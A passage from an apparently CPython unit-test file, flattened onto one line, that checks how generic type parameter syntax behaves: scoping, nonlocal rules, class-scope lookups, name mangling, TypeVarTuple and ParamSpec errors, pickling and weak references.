pass") check_syntax_error(self, "def f[T: [(x := 3) for _ in range(2)]](): pass") check_syntax_error(self, "type T = [(x := 3) for _ in range(2)]") def test_incorrect_mro_explicit_object(self): with self.assertRaisesRegex(TypeError, r"\(MRO\) for bases object, Generic"): class My[X](object): ... class TypeParamsNonlocalTest(unittest.TestCase): def test_nonlocal_disallowed_01(self): code = """ def outer(): X = 1 def inner[X](): nonlocal X return X """ check_syntax_error(self, code) def test_nonlocal_disallowed_02(self): code = """ def outer2[T](): def inner1(): nonlocal T """ check_syntax_error(self, textwrap.dedent(code)) def test_nonlocal_disallowed_03(self): code = """ class Cls[T]: nonlocal T """ check_syntax_error(self, textwrap.dedent(code)) def test_nonlocal_allowed(self): code = """ def func[T](): T = "func" def inner(): nonlocal T T = "inner" inner() assert T == "inner" """ ns = run_code(code) func = ns["func"] T, = func.__type_params__ self.assertEqual(T.__name__, "T") class TypeParamsAccessTest(unittest.TestCase): def test_class_access_01(self): ns = run_code(""" class ClassA[A, B](dict[A, B]): ... """ ) cls = ns["ClassA"] A, B = cls.__type_params__ self.assertEqual(types.get_original_bases(cls), (dict[A, B], Generic[A, B])) def test_class_access_02(self): ns = run_code(""" class MyMeta[A, B](type): ... class ClassA[A, B](metaclass=MyMeta[A, B]): ... """ ) meta = ns["MyMeta"] cls = ns["ClassA"] A1, B1 = meta.__type_params__ A2, B2 = cls.__type_params__ self.assertIsNot(A1, A2) self.assertIsNot(B1, B2) self.assertIs(type(cls), meta) def test_class_access_03(self): code = """ def my_decorator(a): ... @my_decorator(A) class ClassA[A, B](): ... """ with self.assertRaisesRegex(NameError, "name 'A' is not defined"): run_code(code) def test_function_access_01(self): ns = run_code(""" def func[A, B](a: dict[A, B]): ... """ ) func = ns["func"] A, B = func.__type_params__ self.assertEqual(func.__annotations__["a"], dict[A, B]) def test_function_access_02(self): code = """ def func[A](a = list[A]()): ... """ with self.assertRaisesRegex(NameError, "name 'A' is not defined"): run_code(code) def test_function_access_03(self): code = """ def my_decorator(a): ... @my_decorator(A) def func[A](): ... """ with self.assertRaisesRegex(NameError, "name 'A' is not defined"): run_code(code) def test_method_access_01(self): ns = run_code(""" class ClassA: x = int def func[T](self, a: x, b: T): ... """ ) cls = ns["ClassA"] self.assertIs(cls.func.__annotations__["a"], int) T, = cls.func.__type_params__ self.assertIs(cls.func.__annotations__["b"], T) def test_nested_access_01(self): ns = run_code(""" class ClassA[A]: def funcB[B](self): class ClassC[C]: def funcD[D](self): return lambda: (A, B, C, D) return ClassC """ ) cls = ns["ClassA"] A, = cls.__type_params__ B, = cls.funcB.__type_params__ classC = cls().funcB() C, = classC.__type_params__ D, = classC.funcD.__type_params__ self.assertEqual(classC().funcD()(), (A, B, C, D)) def test_out_of_scope_01(self): code = """ class ClassA[T]: ... x = T """ with self.assertRaisesRegex(NameError, "name 'T' is not defined"): run_code(code) def test_out_of_scope_02(self): code = """ class ClassA[A]: def funcB[B](self): ... x = B """ with self.assertRaisesRegex(NameError, "name 'B' is not defined"): run_code(code) def test_class_scope_interaction_01(self): ns = run_code(""" class C: x = 1 def method[T](self, arg: x): pass """) cls = ns["C"] self.assertEqual(cls.method.__annotations__["arg"], 1) def test_class_scope_interaction_02(self): ns = run_code(""" class C: class Base: pass class Child[T](Base): pass """) cls = ns["C"] self.assertEqual(cls.Child.__bases__, (cls.Base, Generic)) T, = cls.Child.__type_params__ self.assertEqual(types.get_original_bases(cls.Child), (cls.Base, Generic[T])) def test_class_deref(self): ns = run_code(""" class C[T]: T = "class" type Alias = T """) cls = ns["C"] self.assertEqual(cls.Alias.__value__, "class") def test_shadowing_nonlocal(self): ns = run_code(""" def outer[T](): T = "outer" def inner(): nonlocal T T = "inner" return T return lambda: T, inner """) outer = ns["outer"] T, = outer.__type_params__ self.assertEqual(T.__name__, "T") getter, inner = outer() self.assertEqual(getter(), "outer") self.assertEqual(inner(), "inner") self.assertEqual(getter(), "inner") def test_reference_previous_typevar(self): def func[S, T: Sequence[S]](): pass S, T = func.__type_params__ self.assertEqual(T.__bound__, Sequence[S]) def test_super(self): class Base: def meth(self): return "base" class Child(Base): # Having int in the annotation ensures the class gets cells for both # __class__ and __classdict__ def meth[T](self, arg: int) -> T: return super().meth() + "child" c = Child() self.assertEqual(c.meth(1), "basechild") def test_type_alias_containing_lambda(self): type Alias[T] = lambda: T T, = Alias.__type_params__ self.assertIs(Alias.__value__(), T) def test_class_base_containing_lambda(self): # Test that scopes nested inside hidden functions work correctly outer_var = "outer" class Base[T]: ... class Child[T](Base[lambda: (int, outer_var, T)]): ... base, _ = types.get_original_bases(Child) func, = get_args(base) T, = Child.__type_params__ self.assertEqual(func(), (int, "outer", T)) def test_comprehension_01(self): type Alias[T: ([T for T in (T, [1])[1]], T)] = [T for T in T.__name__] self.assertEqual(Alias.__value__, ["T"]) T, = Alias.__type_params__ self.assertEqual(T.__constraints__, ([1], T)) def test_comprehension_02(self): type Alias[T: [lambda: T for T in (T, [1])[1]]] = [lambda: T for T in T.__name__] func, = Alias.__value__ self.assertEqual(func(), "T") T, = Alias.__type_params__ func, = T.__bound__ self.assertEqual(func(), 1) def test_gen_exp_in_nested_class(self): code = """ from test.test_type_params import make_base class C[T]: T = "class" class Inner(make_base(T for _ in (1,)), make_base(T)): pass """ C = run_code(code)["C"] T, = C.__type_params__ base1, base2 = C.Inner.__bases__ self.assertEqual(list(base1.__arg__), [T]) self.assertEqual(base2.__arg__, "class") def test_gen_exp_in_nested_generic_class(self): code = """ from test.test_type_params import make_base class C[T]: T = "class" class Inner[U](make_base(T for _ in (1,)), make_base(T)): pass """ with self.assertRaisesRegex(SyntaxError, "Cannot use comprehension in annotation scope within class scope"): run_code(code) def test_listcomp_in_nested_class(self): code = """ from test.test_type_params import make_base class C[T]: T = "class" class Inner(make_base([T for _ in (1,)]), make_base(T)): pass """ C = run_code(code)["C"] T, = C.__type_params__ base1, base2 = C.Inner.__bases__ self.assertEqual(base1.__arg__, [T]) self.assertEqual(base2.__arg__, "class") def test_listcomp_in_nested_generic_class(self): code = """ from test.test_type_params import make_base class C[T]: T = "class" class Inner[U](make_base([T for _ in (1,)]), make_base(T)): pass """ with self.assertRaisesRegex(SyntaxError, "Cannot use comprehension in annotation scope within class scope"): run_code(code) def test_gen_exp_in_generic_method(self): code = """ class C[T]: T = "class" def meth[U](x: (T for _ in (1,)), y: T): pass """ with self.assertRaisesRegex(SyntaxError, "Cannot use comprehension in annotation scope within class scope"): run_code(code) def test_nested_scope_in_generic_alias(self): code = """ class C[T]: T = "class" {} """ error_cases = [ "type Alias1[T] = lambda: T", "type Alias2 = lambda: T", "type Alias3[T] = (T for _ in (1,))", "type Alias4 = (T for _ in (1,))", "type Alias5[T] = [T for _ in (1,)]", "type Alias6 = [T for _ in (1,)]", ] for case in error_cases: with self.subTest(case=case): with self.assertRaisesRegex(SyntaxError, r"Cannot use [a-z]+ in annotation scope within class scope"): run_code(code.format(case)) def make_base(arg): class Base: __arg__ = arg return Base def global_generic_func[T](): pass class GlobalGenericClass[T]: pass class TypeParamsLazyEvaluationTest(unittest.TestCase): def test_qualname(self): class Foo[T]: pass def func[T](): pass self.assertEqual(Foo.__qualname__, "TypeParamsLazyEvaluationTest.test_qualname.<locals>.Foo") self.assertEqual(func.__qualname__, "TypeParamsLazyEvaluationTest.test_qualname.<locals>.func") self.assertEqual(global_generic_func.__qualname__, "global_generic_func") self.assertEqual(GlobalGenericClass.__qualname__, "GlobalGenericClass") def test_recursive_class(self): class Foo[T: Foo, U: (Foo, Foo)]: pass type_params = Foo.__type_params__ self.assertEqual(len(type_params), 2) self.assertEqual(type_params[0].__name__, "T") self.assertIs(type_params[0].__bound__, Foo) self.assertEqual(type_params[0].__constraints__, ()) self.assertEqual(type_params[1].__name__, "U") self.assertIs(type_params[1].__bound__, None) self.assertEqual(type_params[1].__constraints__, (Foo, Foo)) def test_evaluation_error(self): class Foo[T: Undefined, U: (Undefined,)]: pass type_params = Foo.__type_params__ with self.assertRaises(NameError): type_params[0].__bound__ self.assertEqual(type_params[0].__constraints__, ()) self.assertIs(type_params[1].__bound__, None) with self.assertRaises(NameError): type_params[1].__constraints__ Undefined = "defined" self.assertEqual(type_params[0].__bound__, "defined") self.assertEqual(type_params[0].__constraints__, ()) self.assertIs(type_params[1].__bound__, None) self.assertEqual(type_params[1].__constraints__, ("defined",)) class TypeParamsClassScopeTest(unittest.TestCase): def test_alias(self): class X: T = int type U = T self.assertIs(X.U.__value__, int) ns = run_code(""" glb = "global" class X: cls = "class" type U = (glb, cls) """) cls = ns["X"] self.assertEqual(cls.U.__value__, ("global", "class")) def test_bound(self): class X: T = int def foo[U: T](self): ... self.assertIs(X.foo.__type_params__[0].__bound__, int) ns = run_code(""" glb = "global" class X: cls = "class" def foo[T: glb, U: cls](self): ... """) cls = ns["X"] T, U = cls.foo.__type_params__ self.assertEqual(T.__bound__, "global") self.assertEqual(U.__bound__, "class") def test_modified_later(self): class X: T = int def foo[U: T](self): ... type Alias = T X.T = float self.assertIs(X.foo.__type_params__[0].__bound__, float) self.assertIs(X.Alias.__value__, float) def test_binding_uses_global(self): ns = run_code(""" x = "global" def outer(): x = "nonlocal" class Cls: type Alias = x val = Alias.__value__ def meth[T: x](self, arg: x): ... bound = meth.__type_params__[0].__bound__ annotation = meth.__annotations__["arg"] x = "class" return Cls """) cls = ns["outer"]() self.assertEqual(cls.val, "global") self.assertEqual(cls.bound, "global") self.assertEqual(cls.annotation, "global") def test_no_binding_uses_nonlocal(self): ns = run_code(""" x = "global" def outer(): x = "nonlocal" class Cls: type Alias = x val = Alias.__value__ def meth[T: x](self, arg: x): ... bound = meth.__type_params__[0].__bound__ return Cls """) cls = ns["outer"]() self.assertEqual(cls.val, "nonlocal") self.assertEqual(cls.bound, "nonlocal") self.assertEqual(cls.meth.__annotations__["arg"], "nonlocal") def test_explicit_global(self): ns = run_code(""" x = "global" def outer(): x = "nonlocal" class Cls: global x type Alias = x Cls.x = "class" return Cls """) cls = ns["outer"]() self.assertEqual(cls.Alias.__value__, "global") def test_explicit_global_with_no_static_bound(self): ns = run_code(""" def outer(): class Cls: global x type Alias = x Cls.x = "class" return Cls """) ns["x"] = "global" cls = ns["outer"]() self.assertEqual(cls.Alias.__value__, "global") def test_explicit_global_with_assignment(self): ns = run_code(""" x = "global" def outer(): x = "nonlocal" class Cls: global x type Alias = x x = "global from class" Cls.x = "class" return Cls """) cls = ns["outer"]() self.assertEqual(cls.Alias.__value__, "global from class") def test_explicit_nonlocal(self): ns = run_code(""" x = "global" def outer(): x = "nonlocal" class Cls: nonlocal x type Alias = x x = "class" return Cls """) cls = ns["outer"]() self.assertEqual(cls.Alias.__value__, "class") def test_nested_free(self): ns = run_code(""" def f(): T = str class C: T = int class D[U](T): x = T return C """) C = ns["f"]() self.assertIn(int, C.D.__bases__) self.assertIs(C.D.x, str) class TypeParamsManglingTest(unittest.TestCase): def test_mangling(self): class Foo[__T]: param = __T def meth[__U](self, arg: __T, arg2: __U): return (__T, __U) type Alias[__V] = (__T, __V) T = Foo.__type_params__[0] self.assertEqual(T.__name__, "__T") U = Foo.meth.__type_params__[0] self.assertEqual(U.__name__, "__U") V = Foo.Alias.__type_params__[0] self.assertEqual(V.__name__, "__V") anno = Foo.meth.__annotations__ self.assertIs(anno["arg"], T) self.assertIs(anno["arg2"], U) self.assertEqual(Foo().meth(1, 2), (T, U)) self.assertEqual(Foo.Alias.__value__, (T, V)) class TypeParamsComplexCallsTest(unittest.TestCase): def test_defaults(self): # Generic functions with both defaults and kwdefaults trigger a specific code path # in the compiler. def func[T](a: T = "a", *, b: T = "b"): return (a, b) T, = func.__type_params__ self.assertIs(func.__annotations__["a"], T) self.assertIs(func.__annotations__["b"], T) self.assertEqual(func(), ("a", "b")) self.assertEqual(func(1), (1, "b")) self.assertEqual(func(b=2), ("a", 2)) def test_complex_base(self): class Base: def __init_subclass__(cls, **kwargs) -> None: cls.kwargs = kwargs kwargs = {"c": 3} # Base classes with **kwargs trigger a different code path in the compiler. class C[T](Base, a=1, b=2, **kwargs): pass T, = C.__type_params__ self.assertEqual(T.__name__, "T") self.assertEqual(C.kwargs, {"a": 1, "b": 2, "c": 3}) bases = (Base,) class C2[T](*bases, **kwargs): pass T, = C2.__type_params__ self.assertEqual(T.__name__, "T") self.assertEqual(C2.kwargs, {"c": 3}) class TypeParamsTraditionalTypeVarsTest(unittest.TestCase): def test_traditional_01(self): code = """ from typing import Generic class ClassA[T](Generic[T]): ... """ with self.assertRaisesRegex(TypeError, r"Cannot inherit from Generic\[...\] multiple times."): run_code(code) def test_traditional_02(self): from typing import TypeVar S = TypeVar("S") with self.assertRaises(TypeError): class ClassA[T](dict[T, S]): ... def test_traditional_03(self): # This does not generate a runtime error, but it should be # flagged as an error by type checkers. from typing import TypeVar S = TypeVar("S") def func[T](a: T, b: S) -> T | S: return a class TypeParamsTypeVarTest(unittest.TestCase): def test_typevar_01(self): def func1[A: str, B: str | int, C: (int, str)](): return (A, B, C) a, b, c = func1() self.assertIsInstance(a, TypeVar) self.assertEqual(a.__bound__, str) self.assertTrue(a.__infer_variance__) self.assertFalse(a.__covariant__) self.assertFalse(a.__contravariant__) self.assertIsInstance(b, TypeVar) self.assertEqual(b.__bound__, str | int) self.assertTrue(b.__infer_variance__) self.assertFalse(b.__covariant__) self.assertFalse(b.__contravariant__) self.assertIsInstance(c, TypeVar) self.assertEqual(c.__bound__, None) self.assertEqual(c.__constraints__, (int, str)) self.assertTrue(c.__infer_variance__) self.assertFalse(c.__covariant__) self.assertFalse(c.__contravariant__) def test_typevar_generator(self): def get_generator[A](): def generator1[C](): yield C def generator2[B](): yield A yield B yield from generator1() return generator2 gen = get_generator() a, b, c = [x for x in gen()] self.assertIsInstance(a, TypeVar) self.assertEqual(a.__name__, "A") self.assertIsInstance(b, TypeVar) self.assertEqual(b.__name__, "B") self.assertIsInstance(c, TypeVar) self.assertEqual(c.__name__, "C") @requires_working_socket() def test_typevar_coroutine(self): def get_coroutine[A](): async def coroutine[B](): return (A, B) return coroutine co = get_coroutine() self.addCleanup(asyncio.set_event_loop_policy, None) a, b = asyncio.run(co()) self.assertIsInstance(a, TypeVar) self.assertEqual(a.__name__, "A") self.assertIsInstance(b, TypeVar) self.assertEqual(b.__name__, "B") class TypeParamsTypeVarTupleTest(unittest.TestCase): def test_typevartuple_01(self): code = """def func1[*A: str](): pass""" check_syntax_error(self, code, "cannot use bound with TypeVarTuple") code = """def func1[*A: (int, str)](): pass""" check_syntax_error(self, code, "cannot use constraints with TypeVarTuple") code = """class X[*A: str]: pass""" check_syntax_error(self, code, "cannot use bound with TypeVarTuple") code = """class X[*A: (int, str)]: pass""" check_syntax_error(self, code, "cannot use constraints with TypeVarTuple") code = """type X[*A: str] = int""" check_syntax_error(self, code, "cannot use bound with TypeVarTuple") code = """type X[*A: (int, str)] = int""" check_syntax_error(self, code, "cannot use constraints with TypeVarTuple") def test_typevartuple_02(self): def func1[*A](): return A a = func1() self.assertIsInstance(a, TypeVarTuple) class TypeParamsTypeVarParamSpecTest(unittest.TestCase): def test_paramspec_01(self): code = """def func1[**A: str](): pass""" check_syntax_error(self, code, "cannot use bound with ParamSpec") code = """def func1[**A: (int, str)](): pass""" check_syntax_error(self, code, "cannot use constraints with ParamSpec") code = """class X[**A: str]: pass""" check_syntax_error(self, code, "cannot use bound with ParamSpec") code = """class X[**A: (int, str)]: pass""" check_syntax_error(self, code, "cannot use constraints with ParamSpec") code = """type X[**A: str] = int""" check_syntax_error(self, code, "cannot use bound with ParamSpec") code = """type X[**A: (int, str)] = int""" check_syntax_error(self, code, "cannot use constraints with ParamSpec") def test_paramspec_02(self): def func1[**A](): return A a = func1() self.assertIsInstance(a, ParamSpec) self.assertTrue(a.__infer_variance__) self.assertFalse(a.__covariant__) self.assertFalse(a.__contravariant__) class TypeParamsTypeParamsDunder(unittest.TestCase): def test_typeparams_dunder_class_01(self): class Outer[A, B]: class Inner[C, D]: @staticmethod def get_typeparams(): return A, B, C, D a, b, c, d = Outer.Inner.get_typeparams() self.assertEqual(Outer.__type_params__, (a, b)) self.assertEqual(Outer.Inner.__type_params__, (c, d)) self.assertEqual(Outer.__parameters__, (a, b)) self.assertEqual(Outer.Inner.__parameters__, (c, d)) def test_typeparams_dunder_class_02(self): class ClassA: pass self.assertEqual(ClassA.__type_params__, ()) def test_typeparams_dunder_class_03(self): code = """ class ClassA[A](): pass ClassA.__type_params__ = () params = ClassA.__type_params__ """ ns = run_code(code) self.assertEqual(ns["params"], ()) def test_typeparams_dunder_function_01(self): def outer[A, B](): def inner[C, D](): return A, B, C, D return inner inner = outer() a, b, c, d = inner() self.assertEqual(outer.__type_params__, (a, b)) self.assertEqual(inner.__type_params__, (c, d)) def test_typeparams_dunder_function_02(self): def func1(): pass self.assertEqual(func1.__type_params__, ()) def test_typeparams_dunder_function_03(self): code = """ def func[A](): pass func.__type_params__ = () """ ns = run_code(code) self.assertEqual(ns["func"].__type_params__, ()) # All these type aliases are used for pickling tests: T = TypeVar('T') def func1[X](x: X) -> X: ... def func2[X, Y](x: X | Y) -> X | Y: ... def func3[X, *Y, **Z](x: X, y: tuple[*Y], z: Z) -> X: ... def func4[X: int, Y: (bytes, str)](x: X, y: Y) -> X | Y: ... class Class1[X]: ... class Class2[X, Y]: ... class Class3[X, *Y, **Z]: ... class Class4[X: int, Y: (bytes, str)]: ... class TypeParamsPickleTest(unittest.TestCase): def test_pickling_functions(self): things_to_test = [ func1, func2, func3, func4, ] for thing in things_to_test: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.subTest(thing=thing, proto=proto): pickled = pickle.dumps(thing, protocol=proto) self.assertEqual(pickle.loads(pickled), thing) def test_pickling_classes(self): things_to_test = [ Class1, Class1[int], Class1[T], Class2, Class2[int, T], Class2[T, int], Class2[int, str], Class3, Class3[int, T, str, bytes, [float, object, T]], Class4, Class4[int, bytes], Class4[T, bytes], Class4[int, T], Class4[T, T], ] for thing in things_to_test: for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.subTest(thing=thing, proto=proto): pickled = pickle.dumps(thing, protocol=proto) self.assertEqual(pickle.loads(pickled), thing) for klass in things_to_test: real_class = getattr(klass, '__origin__', klass) thing = klass() for proto in range(pickle.HIGHEST_PROTOCOL + 1): with self.subTest(thing=thing, proto=proto): pickled = pickle.dumps(thing, protocol=proto) # These instances are not equal, # but class check is good enough: self.assertIsInstance(pickle.loads(pickled), real_class) class TypeParamsWeakRefTest(unittest.TestCase): def test_weakrefs(self): T = TypeVar('T') P = ParamSpec('P') class OldStyle(Generic[T]): pass class NewStyle[T]: pass cases = [ T, TypeVar('T', bound=int), P, P.args, P.kwargs, TypeVarTuple('Ts'), OldStyle, OldStyle[int], OldStyle(), NewStyle, NewStyle[int], NewStyle(), Generic[T], ] for case in cases: with self.subTest(case=case): weakref.ref(case) class TypeParamsRuntimeTest(unittest.TestCase): def test_name_error(self): # gh-109118: This crashed the interpreter due to a refcounting bug code = """ class name_2[name_5]: class name_4[name_5](name_0): pass """ with self.assertRaises(NameError): run_code(code) # Crashed with a slightly different stack trace code = """ class name_2[name_5]: class name_4[name_5: name_5](name_0): pass """ with self.assertRaises(NameError): run_code(code) def test_broken_class_namespace(self): code = """ class WeirdMapping(dict): def __missing__(self, key): if key == "T": raise RuntimeError raise KeyError(key) class Meta(type): def __prepare__(name, bases): return WeirdMapping() class MyClass[V](metaclass=Meta): class Inner[U](T): pass """ with self.assertRaises(RuntimeError): run_code(code)
Close